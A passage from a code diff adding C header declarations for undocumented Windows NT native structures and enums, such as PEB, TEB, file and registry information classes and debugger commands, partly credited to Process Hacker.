KeyControlFlagsInformation, // KEY_CONTROL_FLAGS_INFORMATION + KeySetVirtualizationInformation, // KEY_SET_VIRTUALIZATION_INFORMATION + KeySetDebugInformation, + KeySetHandleTagsInformation, // KEY_HANDLE_TAGS_INFORMATION + KeySetLayerInformation, // KEY_SET_LAYER_INFORMATION + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +typedef struct _KEY_WRITE_TIME_INFORMATION +{ + LARGE_INTEGER LastWriteTime; +} KEY_WRITE_TIME_INFORMATION, *PKEY_WRITE_TIME_INFORMATION; + +typedef struct _KEY_WOW64_FLAGS_INFORMATION +{ + ULONG UserFlags; +} KEY_WOW64_FLAGS_INFORMATION, *PKEY_WOW64_FLAGS_INFORMATION; + +typedef struct _KEY_HANDLE_TAGS_INFORMATION +{ + ULONG HandleTags; +} KEY_HANDLE_TAGS_INFORMATION, *PKEY_HANDLE_TAGS_INFORMATION; + +typedef struct _KEY_SET_LAYER_INFORMATION +{ + ULONG IsTombstone : 1; + ULONG IsSupersedeLocal : 1; + ULONG IsSupersedeTree : 1; + ULONG ClassIsInherited : 1; + ULONG Reserved : 28; +} KEY_SET_LAYER_INFORMATION, *PKEY_SET_LAYER_INFORMATION; + +typedef struct _KEY_CONTROL_FLAGS_INFORMATION +{ + ULONG ControlFlags; +} KEY_CONTROL_FLAGS_INFORMATION, *PKEY_CONTROL_FLAGS_INFORMATION; + +typedef struct _KEY_SET_VIRTUALIZATION_INFORMATION +{ + ULONG VirtualTarget : 1; + ULONG VirtualStore : 1; + ULONG VirtualSource : 1; // true if key has been virtualized at least once + ULONG Reserved : 29; +} KEY_SET_VIRTUALIZATION_INFORMATION, *PKEY_SET_VIRTUALIZATION_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation, // KEY_VALUE_BASIC_INFORMATION + KeyValueFullInformation, // KEY_VALUE_FULL_INFORMATION + KeyValuePartialInformation, // KEY_VALUE_PARTIAL_INFORMATION + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, // KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 + KeyValueLayerInformation, // KEY_VALUE_LAYER_INFORMATION + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +typedef struct _KEY_VALUE_BASIC_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; + // ... + // UCHAR Data[1]; +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +{ + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +// private +typedef struct _KEY_VALUE_LAYER_INFORMATION +{ + ULONG IsTombstone; + ULONG Reserved; +} KEY_VALUE_LAYER_INFORMATION, *PKEY_VALUE_LAYER_INFORMATION; + +typedef struct _KEY_VALUE_ENTRY +{ + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + +typedef enum _REG_ACTION +{ + KeyAdded, + KeyRemoved, + KeyModified +} REG_ACTION; + +typedef struct _REG_NOTIFY_INFORMATION +{ + ULONG NextEntryOffset; + REG_ACTION Action; + ULONG KeyLength; + WCHAR Key[1]; +} REG_NOTIFY_INFORMATION, *PREG_NOTIFY_INFORMATION; + +typedef struct _KEY_PID_ARRAY +{ + HANDLE PID; + UNICODE_STRING KeyName; +} KEY_PID_ARRAY, *PKEY_PID_ARRAY; + +typedef struct _KEY_OPEN_SUBKEYS_INFORMATION +{ + ULONG Count; + KEY_PID_ARRAY KeyArray[1]; +} KEY_OPEN_SUBKEYS_INFORMATION, *PKEY_OPEN_SUBKEYS_INFORMATION; + +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid, + SysDbgGetLiveKernelDump +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; + +typedef enum _DEBUGOBJECTINFOCLASS +{ + DebugObjectFlags = 1, + MaxDebugObjectInfoClass +} DEBUGOBJECTINFOCLASS, *PDEBUGOBJECTINFOCLASS; + +// Source: http://processhacker.sourceforge.net +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, // FILE_DIRECTORY_INFORMATION + FileFullDirectoryInformation, // FILE_FULL_DIR_INFORMATION + FileBothDirectoryInformation, // FILE_BOTH_DIR_INFORMATION + FileBasicInformation, // FILE_BASIC_INFORMATION + FileStandardInformation, // FILE_STANDARD_INFORMATION + FileInternalInformation, // FILE_INTERNAL_INFORMATION + FileEaInformation, // FILE_EA_INFORMATION + FileAccessInformation, // FILE_ACCESS_INFORMATION + FileNameInformation, // FILE_NAME_INFORMATION + FileRenameInformation, // FILE_RENAME_INFORMATION // 10 + FileLinkInformation, // FILE_LINK_INFORMATION + FileNamesInformation, // FILE_NAMES_INFORMATION + FileDispositionInformation, // FILE_DISPOSITION_INFORMATION + FilePositionInformation, // FILE_POSITION_INFORMATION + FileFullEaInformation, // FILE_FULL_EA_INFORMATION + FileModeInformation, // FILE_MODE_INFORMATION + FileAlignmentInformation, // FILE_ALIGNMENT_INFORMATION + FileAllInformation, // FILE_ALL_INFORMATION + FileAllocationInformation, // FILE_ALLOCATION_INFORMATION + FileEndOfFileInformation, // FILE_END_OF_FILE_INFORMATION // 20 + FileAlternateNameInformation, // FILE_NAME_INFORMATION + FileStreamInformation, // FILE_STREAM_INFORMATION + FilePipeInformation, // FILE_PIPE_INFORMATION + FilePipeLocalInformation, // FILE_PIPE_LOCAL_INFORMATION + FilePipeRemoteInformation, // FILE_PIPE_REMOTE_INFORMATION + FileMailslotQueryInformation, // FILE_MAILSLOT_QUERY_INFORMATION + FileMailslotSetInformation, // FILE_MAILSLOT_SET_INFORMATION + FileCompressionInformation, // FILE_COMPRESSION_INFORMATION + FileObjectIdInformation, // FILE_OBJECTID_INFORMATION + FileCompletionInformation, // FILE_COMPLETION_INFORMATION // 30 + FileMoveClusterInformation, // FILE_MOVE_CLUSTER_INFORMATION + FileQuotaInformation, // FILE_QUOTA_INFORMATION + FileReparsePointInformation, // FILE_REPARSE_POINT_INFORMATION + FileNetworkOpenInformation, // FILE_NETWORK_OPEN_INFORMATION + FileAttributeTagInformation, // FILE_ATTRIBUTE_TAG_INFORMATION + FileTrackingInformation, // FILE_TRACKING_INFORMATION + FileIdBothDirectoryInformation, // FILE_ID_BOTH_DIR_INFORMATION + FileIdFullDirectoryInformation, // FILE_ID_FULL_DIR_INFORMATION + FileValidDataLengthInformation, // FILE_VALID_DATA_LENGTH_INFORMATION + FileShortNameInformation, // FILE_NAME_INFORMATION // 40 + FileIoCompletionNotificationInformation, // FILE_IO_COMPLETION_NOTIFICATION_INFORMATION // since VISTA + FileIoStatusBlockRangeInformation, // FILE_IOSTATUSBLOCK_RANGE_INFORMATION + FileIoPriorityHintInformation, // FILE_IO_PRIORITY_HINT_INFORMATION + FileSfioReserveInformation, // FILE_SFIO_RESERVE_INFORMATION + FileSfioVolumeInformation, // FILE_SFIO_VOLUME_INFORMATION + FileHardLinkInformation, // FILE_LINKS_INFORMATION + FileProcessIdsUsingFileInformation, // FILE_PROCESS_IDS_USING_FILE_INFORMATION + FileNormalizedNameInformation, // FILE_NAME_INFORMATION + FileNetworkPhysicalNameInformation, // FILE_NETWORK_PHYSICAL_NAME_INFORMATION + FileIdGlobalTxDirectoryInformation, // FILE_ID_GLOBAL_TX_DIR_INFORMATION // since WIN7 // 50 + FileIsRemoteDeviceInformation, // FILE_IS_REMOTE_DEVICE_INFORMATION + FileUnusedInformation, + FileNumaNodeInformation, // FILE_NUMA_NODE_INFORMATION + FileStandardLinkInformation, // FILE_STANDARD_LINK_INFORMATION + FileRemoteProtocolInformation, // FILE_REMOTE_PROTOCOL_INFORMATION + FileRenameInformationBypassAccessCheck, // (kernel-mode only); FILE_RENAME_INFORMATION // since WIN8 + FileLinkInformationBypassAccessCheck, // (kernel-mode only); FILE_LINK_INFORMATION + FileVolumeNameInformation, // FILE_VOLUME_NAME_INFORMATION + FileIdInformation, // FILE_ID_INFORMATION + FileIdExtdDirectoryInformation, // FILE_ID_EXTD_DIR_INFORMATION + FileReplaceCompletionInformation, // FILE_COMPLETION_INFORMATION // since WINBLUE + FileHardLinkFullIdInformation, // FILE_LINK_ENTRY_FULL_ID_INFORMATION + FileIdExtdBothDirectoryInformation, // FILE_ID_EXTD_BOTH_DIR_INFORMATION // since THRESHOLD + FileDispositionInformationEx, // FILE_DISPOSITION_INFO_EX // since REDSTONE + FileRenameInformationEx, + FileRenameInformationExBypassAccessCheck, + FileDesiredStorageClassInformation, // FILE_DESIRED_STORAGE_CLASS_INFORMATION // since REDSTONE2 + FileStatInformation, // FILE_STAT_INFORMATION + FileMemoryPartitionInformation, // FILE_MEMORY_PARTITION_INFORMATION // since REDSTONE3 + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +typedef struct _SYSTEM_BASIC_INFORMATION +{ + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + ULONG NumberOfPhysicalPages; + ULONG LowestPhysicalPageNumber; + ULONG HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef struct _FILE_PIPE_PEEK_BUFFER +{ + ULONG NamedPipeState; + ULONG ReadDataAvailable; + ULONG NumberOfMessages; + ULONG MessageLength; + CHAR Data[1]; +} FILE_PIPE_PEEK_BUFFER, *PFILE_PIPE_PEEK_BUFFER; + +typedef struct _NAMED_PIPE_CREATE_PARAMETERS +{ + ULONG NamedPipeType; + ULONG ReadMode; + ULONG CompletionMode; + ULONG MaximumInstances; + ULONG InboundQuota; + ULONG OutboundQuota; + LARGE_INTEGER DefaultTimeout; + BOOLEAN TimeoutSpecified; +} NAMED_PIPE_CREATE_PARAMETERS, *PNAMED_PIPE_CREATE_PARAMETERS; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION +{ + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION +{ + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +typedef struct _TIME_FIELDS +{ + SHORT Year; // range [1601...] + SHORT Month; // range [1..12] + SHORT Day; // range [1..31] + SHORT Hour; // range [0..23] + SHORT Minute; // range [0..59] + SHORT Second; // range [0..59] + SHORT Milliseconds; // range [0..999] + SHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS, *PTIME_FIELDS; + +typedef struct _SYSTEM_CONSOLE_INFORMATION +{ + ULONG DriverLoaded : 1; + ULONG Spare : 31; +} SYSTEM_CONSOLE_INFORMATION, *PSYSTEM_CONSOLE_INFORMATION; + +typedef struct _COMPRESSED_DATA_INFO +{ + USHORT CompressionFormatAndEngine; // COMPRESSION_FORMAT_* and COMPRESSION_ENGINE_* + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + + USHORT NumberOfChunks; + + ULONG CompressedChunkSizes[1]; +} COMPRESSED_DATA_INFO, *PCOMPRESSED_DATA_INFO; + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +typedef struct _PROCESS_ACCESS_TOKEN +{ + HANDLE Token; // Needs TOKEN_ASSIGN_PRIMARY access + HANDLE Thread; // Handle to initial/only thread; needs THREAD_QUERY_INFORMATION access +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +#ifdef __cplusplus +typedef enum _PS_PROTECTED_TYPE : UCHAR +{ + PsProtectedTypeNone, + PsProtectedTypeProtectedLight, + PsProtectedTypeProtected, + PsProtectedTypeMax +} PS_PROTECTED_TYPE; +#else +typedef UCHAR PS_PROTECTED_TYPE; +#endif + +#ifdef __cplusplus +typedef enum _PS_PROTECTED_SIGNER : UCHAR +{ + PsProtectedSignerNone, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerWinSystem, + PsProtectedSignerApp, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER; +#else +typedef UCHAR PS_PROTECTED_SIGNER; +#endif + +typedef struct _PS_PROTECTION +{ + union + { + struct + { + PS_PROTECTED_TYPE Type : 3; + BOOLEAN Audit : 1; + PS_PROTECTED_SIGNER Signer : 4; + } s; + UCHAR Level; + }; +} PS_PROTECTION, *PPS_PROTECTION; + +#define RTL_CREATE_ENVIRONMENT_TRANSLATE 0x1 // Translate from multi-byte to Unicode +#define RTL_CREATE_ENVIRONMENT_TRANSLATE_FROM_OEM 0x2 // Translate from OEM to Unicode (Translate flag must also be set) +#define RTL_CREATE_ENVIRONMENT_EMPTY 0x4 // Create empty environment block + +typedef struct _RTL_BUFFER { + PUCHAR Buffer; + PUCHAR StaticBuffer; + SIZE_T Size; + SIZE_T StaticSize; + SIZE_T ReservedForAllocatedSize; // for future doubling + PVOID ReservedForIMalloc; // for future pluggable growth +} RTL_BUFFER, *PRTL_BUFFER; + +typedef struct _RTL_UNICODE_STRING_BUFFER { + UNICODE_STRING String; + RTL_BUFFER ByteBuffer; + UCHAR MinimumStaticBufferForTerminalNul[sizeof(WCHAR)]; +} RTL_UNICODE_STRING_BUFFER, *PRTL_UNICODE_STRING_BUFFER; + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PWCHAR Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG_PTR EnvironmentSize; + ULONG_PTR EnvironmentVersion; + PVOID PackageDependencyData; + ULONG ProcessGroupId; + ULONG LoaderThreads; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED 0x01 +#define RTL_USER_PROCESS_PARAMETERS_PROFILE_USER 0x02 +#define RTL_USER_PROCESS_PARAMETERS_PROFILE_KERNEL 0x04 +#define RTL_USER_PROCESS_PARAMETERS_PROFILE_SERVER 0x08 +#define RTL_USER_PROCESS_PARAMETERS_RESERVE_1MB 0x20 +#define RTL_USER_PROCESS_PARAMETERS_RESERVE_16MB 0x40 +#define RTL_USER_PROCESS_PARAMETERS_CASE_SENSITIVE 0x80 +#define RTL_USER_PROCESS_PARAMETERS_DISABLE_HEAP_DECOMMIT 0x100 +#define RTL_USER_PROCESS_PARAMETERS_DLL_REDIRECTION_LOCAL 0x1000 +#define RTL_USER_PROCESS_PARAMETERS_APP_MANIFEST_PRESENT 0x2000 +#define RTL_USER_PROCESS_PARAMETERS_IMAGE_KEY_MISSING 0x4000 +#define RTL_USER_PROCESS_PARAMETERS_NX_OPTIN 0x20000 + +typedef struct _RTL_USER_PROCESS_INFORMATION +{ + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +// Handle tag bits for PEB stdio file handles +#define PEB_STDIO_HANDLE_NATIVE 0 +#define PEB_STDIO_HANDLE_SUBSYS 1 +#define PEB_STDIO_HANDLE_PM 2 +#define PEB_STDIO_HANDLE_RESERVED 3 + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#ifndef _WIN64 +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define FLS_MAXIMUM_AVAILABLE 128 +#define TLS_MINIMUM_AVAILABLE 64 +#define TLS_EXPANSION_SLOTS 1024 + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK; + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN IsPackagedProcess : 1; + BOOLEAN IsAppContainer : 1; + BOOLEAN IsProtectedProcessLight : 1; + BOOLEAN IsLongPathAwareProcess : 1; + } s1; + } u1; + + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ProcessPreviouslyThrottled : 1; + ULONG ProcessCurrentlyThrottled : 1; + ULONG ReservedBits0 : 25; + } s2; + } u2; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + } u3; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + + PVOID ReadOnlySharedMemoryBase; + PVOID SharedData; // HotpatchInformation + PVOID *ReadOnlyStaticServerData; + + PVOID AnsiCodePageData; // PCPTABLEINFO + PVOID OemCodePageData; // PCPTABLEINFO + PVOID UnicodeCaseTableData; // PNLSTABLEINFO + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; // PHEAP + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ActiveProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA + PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP + + SIZE_T MinimumStackCommit; + + PVOID *FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pUnused; // pContextData + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG LibLoaderTracingEnabled : 1; + ULONG SpareTracingBits : 29; + } s3; + } u4; + ULONGLONG CsrServerReadOnlySharedMemoryBase; + PVOID TppWorkerpListLock; + LIST_ENTRY TppWorkerpList; + PVOID WaitOnAddressHashTable[128]; + PVOID TelemetryCoverageHeader; // REDSTONE3 + ULONG CloudFileFlags; +} PEB, *PPEB; + +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH +{ + ULONG Offset; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID ReservedForDebuggerInstrumentation[16]; +#ifdef _WIN64 + PVOID SystemReserved1[30]; +#else + PVOID SystemReserved1[26]; +#endif + CHAR PlaceholderCompatibilityMode; + CHAR PlaceholderReserved[11]; + ULONG ProxiedProcessId; + ACTIVATION_CONTEXT_STACK ActivationStack; + + UCHAR WorkingOnBehalfTicket[8]; + NTSTATUS ExceptionCode; + + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + ULONG_PTR InstrumentationCallbackSp; + ULONG_PTR InstrumentationCallbackPreviousPc; + ULONG_PTR InstrumentationCallbackPreviousSp; +#ifdef _WIN64 + ULONG TxFsContext; +#endif + BOOLEAN InstrumentationCallbackDisabled; +#ifndef _WIN64 + UCHAR SpareBytes[23]; + ULONG TxFsContext; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#ifdef _WIN64 + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID PerflibData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + } s1; + } u1; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR ReservedForCodeCoverage; + PVOID ThreadPoolData; + PVOID *TlsExpansionSlots; +#ifdef _WIN64 + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + USHORT HeapVirtualAffinity; + USHORT LowFragHeapDataSlot; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + } u2; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SessionAware : 1; + USHORT LoadOwner : 1; + USHORT LoaderWorker : 1; + USHORT SkipLoaderInit : 1; + USHORT SpareSameTebBits : 1; + } s2; + } u3; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + LONG WowTebOffset; + PVOID ResourceRetValue; + PVOID ReservedForWdf; + ULONGLONG ReservedForCrt; + GUID EffectiveContainerId; +} TEB, *PTEB; + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, + NEC98x86, + EndAlternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +#define PROCESSOR_FEATURE_MAX 64 + +#define MAX_WOW64_SHARED_ENTRIES 16 + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +#pragma pack(push, 4) +typedef struct _KUSER_SHARED_DATA +{ + ULONG TickCountLowDeprecated; + 